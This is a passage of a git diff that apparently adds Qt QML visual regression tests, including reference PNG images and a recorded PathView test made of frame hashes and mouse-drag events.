+ count: -1; emissionRate: 120;
+ emissionVariance: index/2;
+ velocity: 250; velocityDeviation: 0;
+ angle: 0; angleDeviation: 0;
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/star.png b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/star.png
new file mode 100644
index 00000000..defbde53
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/star.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.0.png
new file mode 100644
index 00000000..1b87edbe
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.1.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.1.png
new file mode 100644
index 00000000..4fc12d62
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.2.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.2.png
new file mode 100644
index 00000000..d761a0ce
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.3.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.3.png
new file mode 100644
index 00000000..e22464fd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.4.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.4.png
new file mode 100644
index 00000000..14f07bed
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.5.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.5.png
new file mode 100644
index 00000000..ba1ad343
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.qml b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.qml
new file mode 100644
index 00000000..9eaff18f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.qml
@@ -0,0 +1,1855 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "test-pathview-2.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 48
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 64
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 80
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 96
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 112
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 128
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 144
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 160
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 176
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 192
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 208
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 224
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 240
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 256
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 272
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 288
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 304
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 320
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 336
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 352
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 368
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 384
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 400
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 416
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 432
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 448
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 464
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 480
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 496
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 512
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 528
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 544
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 560
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 576
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 592
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 608
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 624
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 640
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 656
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 672
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 688
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 260; y: 189
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 704
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Frame {
+ msec: 720
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 261; y: 188
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 736
+ hash: "cc72b488dcdfa7c251782cbcae7ab1d5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 262; y: 188
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 266; y: 186
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 752
+ hash: "ae9028c15de8ba4b02c733212d521c29"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 283; y: 183
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 768
+ hash: "d61d21ab4d83b8578494720d9bfe6fa8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 302; y: 181
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 331; y: 181
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 784
+ hash: "6a6c5551e3a5a08f5505eb0f61d9df36"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 384; y: 179
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 800
+ hash: "c800609ffea814ba7cc2441790157245"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 432; y: 175
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 432; y: 175
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 816
+ hash: "afcb452d41c6e895309bb921a1ad1d31"
+ }
+ Frame {
+ msec: 832
+ hash: "02d8f91c33f62aaf366bcfd03d232269"
+ }
+ Frame {
+ msec: 848
+ hash: "a1e475643d0871bb7d63f8cf2e0b780d"
+ }
+ Frame {
+ msec: 864
+ hash: "ba429e0c1a7f1624973813ae8be6b090"
+ }
+ Frame {
+ msec: 880
+ hash: "36c04a2bd58124877a332bb6a262a7e5"
+ }
+ Frame {
+ msec: 896
+ hash: "e6ea836d68c54a8308e10f33d4eb8b98"
+ }
+ Frame {
+ msec: 912
+ hash: "1910f67eb9180a866924fa8567afbdf5"
+ }
+ Frame {
+ msec: 928
+ hash: "68c60f1bc67a1d1117be7ed305b61ae1"
+ }
+ Frame {
+ msec: 944
+ hash: "b859b690c633a9fec87941e7c89f5d19"
+ }
+ Frame {
+ msec: 960
+ hash: "ef0b66e789a8e88389e16bfa36b9f6e2"
+ }
+ Frame {
+ msec: 976
+ image: "test-pathview-2.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "2bcde5c7b2e1aac1439b379ed729f6e1"
+ }
+ Frame {
+ msec: 1008
+ hash: "b7056d635c69b8e5bf98872f4c07ed43"
+ }
+ Frame {
+ msec: 1024
+ hash: "68aa8bd6709e1b49cfefc4594c236c46"
+ }
+ Frame {
+ msec: 1040
+ hash: "e615b8648d5449535b1f47ab770db423"
+ }
+ Frame {
+ msec: 1056
+ hash: "877e6357cc9a183a0288aa1551e26179"
+ }
+ Frame {
+ msec: 1072
+ hash: "d540453541aba394b0958cdc48f91d48"
+ }
+ Frame {
+ msec: 1088
+ hash: "d15e299030bc08097c3b9b4bbaace558"
+ }
+ Frame {
+ msec: 1104
+ hash: "b12b31d4959a697fcc8e54f1c846eef9"
+ }
+ Frame {
+ msec: 1120
+ hash: "937c7e346463c58c909795fa382761d9"
+ }
+ Frame {
+ msec: 1136
+ hash: "41975592e60f08a0296a8babe1da2df3"
+ }
+ Frame {
+ msec: 1152
+ hash: "0a5eea8a11b15ee8583f187f336f56c7"
+ }
+ Frame {
+ msec: 1168
+ hash: "5872891af6953f07a635698581695c58"
+ }
+ Frame {
+ msec: 1184
+ hash: "157c92d133a39a2b1d20a551303d2f6f"
+ }
+ Frame {
+ msec: 1200
+ hash: "213716cad9fa2179a17a512e8c03c8f5"
+ }
+ Frame {
+ msec: 1216
+ hash: "0ec517c50e9e36fef4fb14318e298723"
+ }
+ Frame {
+ msec: 1232
+ hash: "bab010fe0f5d3b57fd556a9b709c285e"
+ }
+ Frame {
+ msec: 1248
+ hash: "d8de3485eb7fb1f3675a25d7f807d08e"
+ }
+ Frame {
+ msec: 1264
+ hash: "c091e46064c8096568224ed7e4c8dc4f"
+ }
+ Frame {
+ msec: 1280
+ hash: "c0a6ede96566533ab35384afa535530f"
+ }
+ Frame {
+ msec: 1296
+ hash: "f61f5c7617700b9aad71206cfc9e402e"
+ }
+ Frame {
+ msec: 1312
+ hash: "c70c106d128051c06da3acdf817f5ffb"
+ }
+ Frame {
+ msec: 1328
+ hash: "624d7c7fb2f39225d51d1a548aa186ed"
+ }
+ Frame {
+ msec: 1344
+ hash: "f052610f17a7484bf6cb2bd07aa91af6"
+ }
+ Frame {
+ msec: 1360
+ hash: "ee9ac101215923305fa75ab4c99c8f36"
+ }
+ Frame {
+ msec: 1376
+ hash: "7597f86b537fbd70260908c973f9db21"
+ }
+ Frame {
+ msec: 1392
+ hash: "30cd60db9aa2df2adc7d01091c905cb4"
+ }
+ Frame {
+ msec: 1408
+ hash: "a9012dc82230c791bda1a7e6b7741896"
+ }
+ Frame {
+ msec: 1424
+ hash: "78774bdff6cef175dcb7a190e5f1bcab"
+ }
+ Frame {
+ msec: 1440
+ hash: "b87f002bf6fb0684f0b3cf565507e066"
+ }
+ Frame {
+ msec: 1456
+ hash: "b60916a57aec6ebbd8b69be7c8d66e19"
+ }
+ Frame {
+ msec: 1472
+ hash: "a28e1538d18ccb7485d0306b9f7b18a6"
+ }
+ Frame {
+ msec: 1488
+ hash: "d74aa07d0b66a5f2be42b9868d3cd8f2"
+ }
+ Frame {
+ msec: 1504
+ hash: "ea4c8f35367ee6f7631aa6e6d8aead03"
+ }
+ Frame {
+ msec: 1520
+ hash: "3ecf7faa733653ef20e4a26eb47d63d1"
+ }
+ Frame {
+ msec: 1536
+ hash: "f17a6be2e183f4c87e31004458e5052c"
+ }
+ Frame {
+ msec: 1552
+ hash: "5361d1f1100c4815dca1b49046b44593"
+ }
+ Frame {
+ msec: 1568
+ hash: "5cd97dc8a237fa92373eb50de8a3bd7b"
+ }
+ Frame {
+ msec: 1584
+ hash: "c957f5c58e0a9b315b51ac1012709493"
+ }
+ Frame {
+ msec: 1600
+ hash: "7b3cd8f583e6045d2e923a34abfc3aeb"
+ }
+ Frame {
+ msec: 1616
+ hash: "2146e67d469f1eb2071a1f04d8e9fc4e"
+ }
+ Frame {
+ msec: 1632
+ hash: "26839de649101c7b3bc6d9b1131325e6"
+ }
+ Frame {
+ msec: 1648
+ hash: "47472faf5e9bf4b4e514abe55f1e0b72"
+ }
+ Frame {
+ msec: 1664
+ hash: "30bc1d78a0cbd29813ad9504b1f0864b"
+ }
+ Frame {
+ msec: 1680
+ hash: "e255c047ce78f5677ccec8bd9737201a"
+ }
+ Frame {
+ msec: 1696
+ hash: "bd4f08095a9c546a42c85e6df6eaf655"
+ }
+ Frame {
+ msec: 1712
+ hash: "ca65869f48b169260c3756d846a12f36"
+ }
+ Frame {
+ msec: 1728
+ hash: "1921889beb8e61c8b959d4affa814465"
+ }
+ Frame {
+ msec: 1744
+ hash: "864a4d26e719dd9fc0e3ce5c28d7726a"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 275; y: 170
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 278; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1760
+ hash: "cab96d2118b31d43e85dc902df2ed8ed"
+ }
+ Frame {
+ msec: 1776
+ hash: "cab96d2118b31d43e85dc902df2ed8ed"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 279; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 282; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1792
+ hash: "d21c8af68b314800b86922493db6553e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 290; y: 172
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1808
+ hash: "a80c0f6f679ba5f1354f8e16677c1125"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 292; y: 172
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1824
+ hash: "d8729deb404f5b821264743943adb288"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 294; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 297; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1840
+ hash: "87d41239eb7e170fa7a1ed523a9af942"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 302; y: 170
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1856
+ hash: "1c185649e08a54a6949409ed7ee5dc60"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 305; y: 170
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 308; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1872
+ hash: "57d5b71d5ff16f986c7df8d8405822b6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 313; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1888
+ hash: "6fd4123cfc8998cfc7716f3d928fb03f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 331; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1904
+ hash: "e1d6c01f6cd66a5bcdb08ca810a07282"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 340; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1920
+ hash: "fd0e9cf835131ee6cc5ecf67c6724d73"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 354; y: 163
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1936
+ image: "test-pathview-2.2.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 361; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 367; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1952
+ hash: "69c17a9c18795b1d8ae63d36d76af626"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 371; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 376; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1968
+ hash: "c7ca4762498af158a2f2da6f5ae560ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 383; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1984
+ hash: "d823492036431e23d8b6876baccec263"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 387; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 391; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2000
+ hash: "11d77567aeff20d8f62f2e4100603de3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 394; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2016
+ hash: "f87df2e12dfe2ebb5b093e21970885b4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 395; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2032
+ hash: "1e743264f0a312bc0d0a023fbc6db832"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 396; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2048
+ hash: "ba9d1850c5c43c9aec5660601ba21d2f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 398; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2064
+ hash: "8eb1f2c8c02c2acf4262e05000045649"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 401; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2080
+ hash: "419c09739f855c53be3427a71aa3faf9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 403; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 406; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2096
+ hash: "c55a189b05d87e8937d272f32bdc2481"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 408; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 409; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2112
+ hash: "bb1515904f9b299402d1141445154430"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 411; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2128
+ hash: "93363142c5a05c52c21e771b2bce71f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 413; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2144
+ hash: "96f763c555b523d9b7ed7a0a159db368"
+ }
+ Frame {
+ msec: 2160
+ hash: "96f763c555b523d9b7ed7a0a159db368"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 414; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2176
+ hash: "20f9cf7787c8cfd4843289f5ab2012e7"
+ }
+ Frame {
+ msec: 2192
+ hash: "20f9cf7787c8cfd4843289f5ab2012e7"
+ }
+ Frame {
+ msec: 2208
+ hash: "20f9cf7787c8cfd4843289f5ab2012e7"
+ }
+ Frame {
+ msec: 2224
+ hash: "20f9cf7787c8cfd4843289f5ab2012e7"
+ }
+ Frame {
+ msec: 2240
+ hash: "20f9cf7787c8cfd4843289f5ab2012e7"
+ }
+ Frame {
+ msec: 2256
+ hash: "20f9cf7787c8cfd4843289f5ab2012e7"
+ }
+ Frame {
+ msec: 2272
+ hash: "20f9cf7787c8cfd4843289f5ab2012e7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 412; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2288
+ hash: "1241895174f4d8e4386c3957e3d2e292"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 409; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2304
+ hash: "bb1515904f9b299402d1141445154430"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 401; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2320
+ hash: "419c09739f855c53be3427a71aa3faf9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 399; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 396; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2336
+ hash: "ba9d1850c5c43c9aec5660601ba21d2f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 393; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2352
+ hash: "a130b471b3903f3f1d77f2306da2b92e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 392; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2368
+ hash: "11d77567aeff20d8f62f2e4100603de3"
+ }
+ Frame {
+ msec: 2384
+ hash: "11d77567aeff20d8f62f2e4100603de3"
+ }
+ Frame {
+ msec: 2400
+ hash: "11d77567aeff20d8f62f2e4100603de3"
+ }
+ Frame {
+ msec: 2416
+ hash: "11d77567aeff20d8f62f2e4100603de3"
+ }
+ Frame {
+ msec: 2432
+ hash: "11d77567aeff20d8f62f2e4100603de3"
+ }
+ Frame {
+ msec: 2448
+ hash: "11d77567aeff20d8f62f2e4100603de3"
+ }
+ Frame {
+ msec: 2464
+ hash: "11d77567aeff20d8f62f2e4100603de3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 391; y: 159
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 390; y: 159
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2480
+ hash: "47e86b008567366f37ac043ed8802d53"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 377; y: 159
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2496
+ hash: "92e1d5dbc85e777785cc68171a0a3fbf"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 331; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2512
+ hash: "2234e44042daf277bd5307635155117f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 294; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 249; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2528
+ hash: "acefb43050e140d689f1d377f50f5c83"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 129; y: 141
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2544
+ hash: "4bc43ae81aac757c872157ac9b41a2d9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 9; y: 133
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2560
+ hash: "41421089f087c54ebcd9fa44e95bd96e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -48; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -99; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2576
+ hash: "db0f09393b5c9284142f9eb3cb5952ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -173; y: 129
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: -173; y: 129
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2592
+ hash: "9491689e51ec46bec07fb8b280daef80"
+ }
+ Frame {
+ msec: 2608
+ hash: "398e4a0ebc812b779b38c4541d33424c"
+ }
+ Frame {
+ msec: 2624
+ hash: "6bf415b82e7cfa68b8321571ab619c3f"
+ }
+ Frame {
+ msec: 2640
+ hash: "0d09a6a0cce6d22c14bc41b8465e8ba0"
+ }
+ Frame {
+ msec: 2656
+ hash: "495d14df729eede7e560f2e841bae142"
+ }
+ Frame {
+ msec: 2672
+ hash: "5329441c12424e5aa69ee0c5cff5926d"
+ }
+ Frame {
+ msec: 2688
+ hash: "482ce41c4b918a71b803c5f521ea494e"
+ }
+ Frame {
+ msec: 2704
+ hash: "aa8b21cdea3d0ae6a2e59a1b318da842"
+ }
+ Frame {
+ msec: 2720
+ hash: "dd142875acafdc8591a29bcd9f871dab"
+ }
+ Frame {
+ msec: 2736
+ hash: "222d638b8fb896563028f029e6fb3c49"
+ }
+ Frame {
+ msec: 2752
+ hash: "20b8fc718d9329c9c8901fdfe14557a2"
+ }
+ Frame {
+ msec: 2768
+ hash: "36217f04f3b1b70a9cf3fa4881b2def7"
+ }
+ Frame {
+ msec: 2784
+ hash: "e3a4b357c00d3d49e4a7d90f6f57054c"
+ }
+ Frame {
+ msec: 2800
+ hash: "44ad81d2ad0d502b003e148412871a41"
+ }
+ Frame {
+ msec: 2816
+ hash: "7313fc37802c462ddd324a13c8fcdc9c"
+ }
+ Frame {
+ msec: 2832
+ hash: "961e84cbb3591cebdb5b83c2aa83887c"
+ }
+ Frame {
+ msec: 2848
+ hash: "70e3cd650472d0e95f4d6ca9e34a2ce1"
+ }
+ Frame {
+ msec: 2864
+ hash: "19a7825cd8c0eaa6f313ec77fff9ec1b"
+ }
+ Frame {
+ msec: 2880
+ hash: "943dfcee3f04c77fba2cec289a288c4b"
+ }
+ Frame {
+ msec: 2896
+ image: "test-pathview-2.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "36be9a0d4376ece0b279a118a3fab364"
+ }
+ Frame {
+ msec: 2928
+ hash: "92e9be6d36844bb475b861ba9c4bc3ff"
+ }
+ Frame {
+ msec: 2944
+ hash: "08b9cce3b2071b328054af6bcb6755c7"
+ }
+ Frame {
+ msec: 2960
+ hash: "b505d2f41a6db06d4ca03f5340800aa6"
+ }
+ Frame {
+ msec: 2976
+ hash: "b17faafb59a9d182faf00495736a7fac"
+ }
+ Frame {
+ msec: 2992
+ hash: "549eb98193f0e81aee716239f872a21c"
+ }
+ Frame {
+ msec: 3008
